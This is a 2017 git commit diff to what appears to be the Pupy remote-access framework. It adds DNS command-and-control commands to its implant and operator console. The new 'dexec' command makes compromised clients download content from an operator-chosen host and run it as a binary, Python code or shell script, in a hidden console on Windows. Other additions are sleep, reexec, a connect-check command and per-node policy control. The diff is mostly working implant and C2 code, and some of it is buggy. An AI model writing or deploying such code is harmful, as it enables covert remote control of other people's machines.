Add new DNSCNC commands - dexec, sleep, reexec

This commit is contained in:
Oleksii Shevchuk 2017-03-03 17:07:09 +02:00 committed by Oleksii Shevchuk
parent fc585d60a6
commit 8c4688becf
6 changed files with 361 additions and 40 deletions

View File

@ -10,6 +10,7 @@ import socket
import os
import logging
import subprocess
class DNSCommandClientLauncher(DnsCommandsClient):
def __init__(self, domain):
@ -28,6 +29,9 @@ class DNSCommandClientLauncher(DnsCommandsClient):
DnsCommandsClient.__init__(self, domain, key=key)
def on_downloadexec_content(self, url, action, content):
self.on_pastelink_content(url, action, content)
def on_pastelink_content(self, url, action, content):
if action.startswith('exec'):
with tempfile.NamedTemporaryFile() as tmp:
@ -41,6 +45,34 @@ class DNSCommandClientLauncher(DnsCommandsClient):
exec content
except Exception as e:
logging.exception(e)
elif action.startswith('sh'):
try:
pipe = None
if platform.system == 'Windows':
kwargs = {
'stdin': subprocess.PIPE
}
if hasattr(subprocess, 'STARTUPINFO'):
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= \
subprocess.CREATE_NEW_CONSOLE | \
subprocess.STARTF_USESHOWWINDOW
kwargs.update({
'startupinfo': startupinfo,
})
pipe = subprocess.Pipe('cmd.exe', **kwargs)
else:
pipe = subprocess.Popen(['/bin/sh'], stdin=subprocess.PIPE)
pipe.stdin.write(content)
pipe.stdin.close()
pipe.communicate()
except Exception as e:
logging.exception(e)
def on_connect(self, ip, port, transport):
with self.lock:

View File

@ -15,6 +15,7 @@ import zlib
import tempfile
import subprocess
import logging
import urllib
import urllib2
from ecpv import ECPV
@ -22,12 +23,73 @@ from picocmd import *
from threading import Thread
class TCPFile(StringIO.StringIO):
pass
class TCPReaderHandler(urllib2.BaseHandler):
def tcp_open(self, req):
addr = req.get_host().rsplit(':', 1)
host = addr[0]
if len(addr) == 1:
port = 53
else:
port = addr[1]
data = []
conn = socket.create_connection((host, port))
conn.settimeout(30)
try:
while True:
b = conn.recv(65535)
if not b:
break
data.append(b)
if not data:
raise ValueError('No data')
except:
pass
data = b''.join(data)
fp = TCPFile(data)
if data:
headers = {
'Content-type': 'application/octet-stream',
'Content-length': len(data),
}
code = 200
else:
headers = {}
code = 404
return urllib.addinfourl(fp, headers, req.get_full_url(), code=code)
urllib2.install_opener(
urllib2.build_opener(TCPReaderHandler())
)
class DnsCommandClientDecodingError(Exception):
pass
__DEBUG = 0
if __DEBUG:
import dns.resolver
resolver = dns.resolver.Resolver()
resolver.nameservers = [ '127.0.0.1' ]
resolver.port = 5454
socket.gethostbyname_ex = lambda x: (None, None, [
str(rdata) for rdata in resolver.query(x, 'A')
])
class DnsCommandsClient(Thread):
def __init__(self, domain, key):
self.domain = domain
self.domains = domain.split(',')
self.domain_id = 0
self.domain = self.domains[self.domain_id]
self.translation = dict(zip(
''.join([
''.join([chr(x) for x in xrange(ord('A'), ord('Z') + 1)]),
@ -48,6 +110,9 @@ class DnsCommandsClient(Thread):
Thread.__init__(self)
def next(self):
self.domain_id = ( self.domain + 1 ) % len(self.domains)
self.domain = self.domains[self.domain_id]
def _a_page_decoder(self, addresses, nonce, symmetric=None):
if symmetric is None:
@ -107,6 +172,7 @@ class DnsCommandsClient(Thread):
except socket.error as e:
logging.error('DNSCNC: Communication error: {}'.format(e))
self.next()
return []
response = None
@ -157,12 +223,32 @@ class DnsCommandsClient(Thread):
except Exception as e:
logging.exception(e)
def on_downloadexec(self, url, action, use_proxy):
if use_proxy:
opener = urllib2.build_opener(urllib2.ProxyHandler()).open
else:
opener = urllib2.urlopen
try:
response = opener(url)
if response.code == 200:
self.on_downloadexec_content(url, action, response.read())
except Exception as e:
logging.exception(e)
def on_pastelink_content(self, url, action, content):
pass
def on_downloadexec_content(self, url, action, content):
pass
def on_connect(self, ip, port, transport):
pass
def on_checkconnect(self, host, port_start, port_end=None):
pass
def on_exit(self):
self.active = False
@ -202,6 +288,8 @@ class DnsCommandsClient(Thread):
response))
elif isinstance(command, PasteLink):
self.on_pastelink(command.url, command.action, self.encoder)
elif isinstance(command, DownloadExec):
self.on_downloadexec(command.url, command.action, command.proxy)
elif isinstance(command, Connect):
self.on_connect(command.ip, command.port, transport=command.transport)
elif isinstance(command, Error):
@ -210,6 +298,8 @@ class DnsCommandsClient(Thread):
self.on_disconnect()
elif isinstance(command, Sleep):
time.sleep(command.timeout)
elif isinstance(command, CheckConnect):
self.on_checkconnect(command.host, command.port_start, port_end=command.port_end)
elif isinstance(command, Reexec):
executable = os.readlink('/proc/self/exe')
args = open('/proc/self/cmdline').read().split('\x00')

View File

@ -12,6 +12,9 @@ import platform
import uuid
import uptime
import urllib2
import urlparse
import StringIO
import socket
def from_bytes(bytes):
return sum(ord(byte) * (256**i) for i, byte in enumerate(bytes))
@ -70,18 +73,41 @@ class Sleep(Command):
@staticmethod
def unpack(data):
return Sleep(
struct.unpack_from('<H', data)
struct.unpack_from('<H', data)[0]
), struct.calcsize('<H')
def pack(self):
return struct.pack('<H', self.timeout)
def __init__(self, timeout=30):
self.timeout = timeout
self.timeout = int(timeout)
def __repr__(self):
return '{{SLEEP: {}}}'.format(self.timeout)
class CheckConnect(Command):
@staticmethod
def unpack(data):
host, port_start, port_end = struct.unpack_from('IHH', data)
return CheckConnect(
host, port_start, port_end
), struct.calcsize('IHH')
def __init__(self, host, port_start, port_end=None):
self.host = netaddr.IPAddress(host)
self.port_start = port_start
self.port_end = None if port_end == 0 else port_end
def pack(self):
return struct.pack(
'IHH',
int(self.host), int(self.port_start), int(self.port_end)
)
def __repr__(self):
return '{{CHECK: {}:{}-{}}}'.format(
self.host, self.port_start, self.port_end)
class Reexec(Command):
@staticmethod
def unpack(data):
@ -297,6 +323,85 @@ class Connect(Command):
return Connect(host, port, transport), 1+length
class DownloadExec(Command):
# 2 bits - 3 max
well_known_downloadexec_action_decode = dict(enumerate([
'pyexec', 'exec', 'sh'
]))
well_known_downloadexec_action_encode = {
v:k for k,v in well_known_downloadexec_action_decode.iteritems()
}
# 3 bits - 7 max
well_known_downloadexec_scheme_decode = dict(enumerate([
'http', 'https', 'ftp', 'tcp'
]))
well_known_downloadexec_scheme_encode = {
v:k for k,v in well_known_downloadexec_scheme_decode.iteritems()
}
def __init__(self, url, action='pyexec', proxy=False):
self.proxy = bool(proxy)
self.url = url
self.action = action
if not self.url in ('http', 'https'):
self.proxy = False
def pack(self):
try:
action = self.well_known_downloadexec_action_encode[self.action]
except:
raise ValueError('Unknown action: {}'.format(self.action))
url = urlparse.urlparse(self.url)
addr = netaddr.IPAddress(url.hostname)
if not addr.version == 4:
raise ValueError('IPv6 unsupported')
addr = int(addr)
port = int(url.port)
path = url.path
if len(path) > 16:
raise ValueError('Too big url path')
try:
scheme = self.well_known_downloadexec_scheme_encode[
url.scheme
]
except:
raise ValueError('Unknown scheme: {}'.format(url.scheme))
code = (self.proxy << 5) | (action << 3) | scheme
return struct.pack(
'BIHB', code, addr, port, len(path)
) + path
def __repr__(self):
return '{{DEXEC: URL={} ACTION={} PROXY={}}}'.format(
self.url, self.action, self.proxy
)
@staticmethod
def unpack(data):
bsize = struct.calcsize('BIHB')
code, addr, port, plen = struct.unpack_from('BIHB', data)
action = DownloadExec.well_known_downloadexec_action_decode[(code >> 3) & 3]
scheme = DownloadExec.well_known_downloadexec_scheme_decode[code & 7]
proxy = bool((code >> 5) & 1)
host = str(netaddr.IPAddress(addr))
port = ':{}'.format(port) if port else (
'' if scheme in ('http', 'ftp', 'https') else 53
)
path = data[bsize:plen]
return DownloadExec('{}://{}{}{}'.format(
scheme, host, port, path
), action, proxy), bsize+plen
class PasteLink(Command):
internet_required = True
@ -349,7 +454,7 @@ class PasteLink(Command):
# 4 max - 2 bits
well_known_pastebin_action_decode = dict(enumerate([
'pyexec', 'exec'
'pyexec', 'exec', 'sh'
]))
well_known_pastebin_action_encode = {
@ -467,7 +572,7 @@ class Parcel(object):
commands = [
Poll, Ack, Policy, Idle, Kex,
Connect, PasteLink, SystemInfo, Error, Disconnect, Exit,
Sleep, Reexec
Sleep, Reexec, DownloadExec, CheckConnect
]
commands_decode = dict(enumerate(commands))

View File

@ -25,17 +25,26 @@ from ecpv import ECPV
from threading import Thread, RLock, Event
class Session(object):
def __init__(self, spi, encoder, commands):
def __init__(self, spi, encoder, commands, timeout):
self.spi = spi
self._start = time.time()
self._encoder = encoder
self._last_access = 0
self._timeout = timeout
self.system_info = None
self.commands = commands
self.last_nonce = None
self.last_qname = None
self.cache = {}
@property
def timeout(self):
return ( self.idle > self._timeout )
@timeout.setter
def timeout(self, value):
self._timeout = value
@property
def idle(self):
return int(time.time() - self._last_access)
@ -206,19 +215,42 @@ class DnsCommandServerHandler(BaseResolver):
]
@locked
def set_policy(self, kex=True, timeout=None, interval=None):
def set_policy(self, kex=True, timeout=None, interval=None, node=None):
if kex == self.kex and self.timeout == timeout and self.interval == self.interval:
return
if interval and interval < 30:
raise ValueError('Interval should not be less then 30s to avoid DNS storm')
self.interval = interval or self.interval
self.timeout = max(timeout if timeout else self.timeout, self.interval*3)
self.kex = kex if ( kex is not None ) else self.kex
if node and (interval or timeout):
session = self.find_sessions(
spi=node) or self.find_sessions(node=node)
cmd = Policy(self.interval, self.kex)
return self.add_command(cmd)
if session:
session = session[0]
if interval:
session.timeout = (interval*3)
else:
interval = self.interval
if timeout:
session.timeout = timeout
if kex is None:
kex = self.kex
else:
self.interval = interval or self.interval
self.timeout = max(timeout if timeout else self.timeout, self.interval*3)
self.kex = kex if ( kex is not None ) else self.kex
interval = self.interval
timeout = self.timeout
kex = self.kex
cmd = Policy(interval, kex)
return self.add_command(cmd, session=node)
@locked
def encode_pastelink_content(self, content):
@ -333,7 +365,8 @@ class DnsCommandServerHandler(BaseResolver):
self.sessions[command.spi] = Session(
command.spi,
self.encoder.clone(),
self.commands
self.commands,
self.timeout
)
encoder = self.sessions[command.spi].encoder

View File

@ -684,6 +684,10 @@ class PupyCmd(cmd.Cmd):
arg_parser = PupyArgumentParser(
prog='dnscnc', description=self.do_dnscnc.__doc__)
arg_parser.add_argument('-n', '--node', help='Send command only to this node (or session)')
arg_parser.add_argument('-d', '--default', action='store_true', default=False,
help='Set command as default for new connections')
commands = arg_parser.add_subparsers(title='commands', dest='command')
status = commands.add_parser('status', help='DNSCNC status')
clist = commands.add_parser('list', help='List known DNSCNC clients')
@ -694,36 +698,33 @@ class PupyCmd(cmd.Cmd):
policy.add_argument('-t', '--timeout', type=int, help='Set session timeout')
connect = commands.add_parser('connect', help='Request reverse connection')
connect.add_argument('-n', '--node', help='Send command only to this node')
connect.add_argument('-d', '--default', action='store_true', default=False,
help='Set command as default for new connections')
connect.add_argument('-c', '--host', help='Manually specify external IP address for connection')
connect.add_argument('-p', '--port', help='Manually specify external PORT for connection')
connect.add_argument('-t', '--transport', help='Manually specify transport for connection')
reset = commands.add_parser('reset', help='Reset scheduled commands')
reset.add_argument('-n', '--node', help='Remove all commands for specified node')
reset.add_argument('-d', '--default', action='store_true', default=False,
help='Remove all default commands')
disconnect = commands.add_parser('disconnect', help='Request disconnection')
disconnect.add_argument('-d', '--default', action='store_true', default=False,
help='Set command as default for new connections')
disconnect.add_argument('-n', '--node', help='Send command only to this node')
exit = commands.add_parser('exit', help='Request exit')
exit.add_argument('-d', '--default', action='store_true', default=False,
help='Set command as default for new connections')
exit.add_argument('-n', '--node', help='Send command only to this node')
reexec = commands.add_parser('reexec', help='Try to reexec module')
pastelink = commands.add_parser('pastelink', help='Execute code by link')
pastelink.add_argument('-a', '--action', choices=['exec', 'pyexec'], default='pyexec',
help='Action - execute as executable, or evaluate as python code')
sleep = commands.add_parser('sleep', help='Postpone any activity')
sleep.add_argument('-t', '--timeout', default=10, type=int, help='Timeout (seconds)')
pastelink = commands.add_parser('pastelink', help='Execute code by link to pastebin service')
pastelink.add_argument('-a', '--action', choices=['exec', 'pyexec', 'sh'], default='pyexec',
help='Action - execute as executable, or evaluate as python/sh code')
pastelink_src = pastelink.add_mutually_exclusive_group(required=True)
pastelink_src.add_argument('-c', '--create', help='Create new pastelink from file')
pastelink_src.add_argument('-u', '--url', help='Specify existing URL')
pastelink.add_argument('-d', '--default', action='store_true', default=False,
help='Set command as default for new connections')
pastelink.add_argument('-n', '--node', help='Send command only to this node')
dexec = commands.add_parser('dexec', help='Execute code by link to service controlled by you')
dexec.add_argument('-a', '--action', choices=['exec', 'pyexec', 'sh'], default='pyexec',
help='Action - execute as executable, or evaluate as python/sh code')
dexec.add_argument('-u', '--url', required=True, help='URL to data')
dexec.add_argument('-p', '--proxy', action='store_true', default=False,
help='Ask to use system proxy (http/https only)')
exit = commands.add_parser('exit', help='Request exit')
try:
args = arg_parser.parse_args(shlex.split(arg))
@ -802,7 +803,7 @@ class PupyCmd(cmd.Cmd):
if all([x is None for x in [args.kex, args.timeout, args.poll]]):
self.display_error('No arguments provided.')
else:
count = self.dnscnc.set_policy(args.kex, args.timeout, args.poll)
count = self.dnscnc.set_policy(args.kex, args.timeout, args.poll, node=args.node)
if count:
self.display_success('Apply policy to {} known nodes'.format(count))
@ -853,12 +854,49 @@ class PupyCmd(cmd.Cmd):
elif args.node:
self.display_error('Node {} not found'.format(args.node))
elif args.command == 'reexec':
count = self.dnscnc.reexec(
node=args.node,
default=args.default
)
if count:
self.display_success('Schedule reexec to {} known nodes'.format(count))
elif args.node:
self.display_error('Node {} not found'.format(args.node))
elif args.command == 'sleep':
count = self.dnscnc.sleep(
args.timeout,
node=args.node,
default=args.default
)
if count:
self.display_success('Schedule sleep to {} known nodes'.format(count))
elif args.node:
self.display_error('Node {} not found'.format(args.node))
elif args.command == 'dexec':
count = self.dnscnc.dexec(
args.url,
args.action,
proxy=args.proxy,
node=args.node,
default=args.default
)
if count:
self.display_success('Schedule sleep to {} known nodes'.format(count))
elif args.node:
self.display_error('Node {} not found'.format(args.node))
elif args.command == 'pastelink':
try:
count, url = self.dnscnc.pastelink(
content=args.create,
url=args.url,
action=args.action,
args.url,
args.action,
proxy=args.proxy,
node=args.node,
default=args.default
)

View File

@ -33,12 +33,26 @@ class PupyDnsCommandServerHandler(DnsCommandServerHandler):
def disconnect(self, node=None, default=False):
return self.add_command(Disconnect(), session=node, default=default)
def reexec(self, node=None, default=False):
return self.add_command(Reexec(), session=node, default=default)
def sleep(self, timeout, node=None, default=False):
return self.add_command(Sleep(timeout), session=node, default=default)
def exit(self, node=None, default=False):
return self.add_command(Exit(), session=node, default=default)
def pastelink(self, url, action, node=None, default=None):
return self.add_command(PasteLink(url, action=action), session=node, default=default)
def dexec(self, url, action, proxy=False, node=None, default=None):
return self.add_command(
DownloadExec(url, action=action, proxy=proxy),
session=node, default=default
)
def pastelink(self, url, action, node=None, default=None):
return self.add_command(
PasteLink(url, action=action),
session=node, default=default
)
class PupyDnsCnc(object):
def __init__(
@ -95,9 +109,18 @@ class PupyDnsCnc(object):
def exit(self, **kwargs):
return self.handler.exit(**kwargs)
def sleep(self, *args, **kwargs):
return self.handler.sleep(*args, **kwargs)
def reexec(self, **kwargs):
return self.handler.reexec(**kwargs)
def reset(self, **kwargs):
return self.handler.reset_commands(**kwargs)
def dexec(self, *args, **kwargs):
return self.handler.dexec(*args, **kwargs)
def pastelink(self, content=None, url=None, action='pyeval', node=None, default=False):
if not ( content or url ):
raise ValueError('content and url args are empty')
@ -134,8 +157,8 @@ class PupyDnsCnc(object):
'kex': self.handler.kex,
}
def set_policy(self, kex, timeout, interval):
return self.handler.set_policy(kex=kex, timeout=timeout, interval=interval)
def set_policy(self, *args, **kwargs):
return self.handler.set_policy(*args, **kwargs)
@property
def dirty(self):